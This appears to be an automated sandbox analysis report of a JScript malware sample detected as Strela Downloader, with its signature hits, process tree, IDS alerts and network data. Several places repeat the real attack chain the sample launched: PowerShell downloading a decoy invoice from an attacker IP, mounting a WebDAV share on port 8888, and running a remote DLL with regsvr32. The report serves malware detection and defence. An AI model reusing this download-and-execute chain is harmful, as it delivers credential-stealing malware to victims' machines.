Edit tour

Windows Analysis Report
739144331377016921.js

Overview

General Information

Sample name:	739144331377016921.js
Analysis ID:	1588376
MD5:	c7d14b91621d91857c02bec71dc8c176
SHA1:	14ec8890284c3476b5a1ffd2ae922cb04be8cbd4
SHA256:	06b83368e3d358091bf81c6f61eece4ccbf8b8da5b256621a9736ff869310040
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3752 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\739144331377016921.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5548 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13164224385048.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1308 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1088 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6192 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 1784 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 4676 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2256 --field-trial-handle=1620,i,15538910520980501664,16723883179804566774,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 2228 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7116 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6476 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 3752	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13164224385048.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5548, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1088, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13164224385048.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5548, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1088, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\739144331377016921.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\739144331377016921.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\739144331377016921.js", ProcessId: 3752, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7116, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13164224385048.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13164224385048.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\739144331377016921.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3752, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13164224385048.dll, ProcessId: 5548, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13164224385048.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13164224385048.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\739144331377016921.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3752, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13164224385048.dll, ProcessId: 5548, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13164224385048.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13164224385048.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\739144331377016921.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3752, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13164224385048.dll, ProcessId: 5548, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13164224385048.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13164224385048.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\739144331377016921.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3752, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13164224385048.dll, ProcessId: 5548, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13164224385048.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13164224385048.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\739144331377016921.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3752, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13164224385048.dll, ProcessId: 5548, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\739144331377016921.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\739144331377016921.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\739144331377016921.js", ProcessId: 3752, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13164224385048.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5548, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1088, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2228, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7116, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6476, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2228, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7116, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13164224385048.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13164224385048.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\739144331377016921.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3752, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13164224385048.dll, ProcessId: 5548, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:34:51.652859+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:34:53.966844+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:34:51.652859+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 739144331377016921.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 739144331377016921.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.5:49704 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:34:51 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
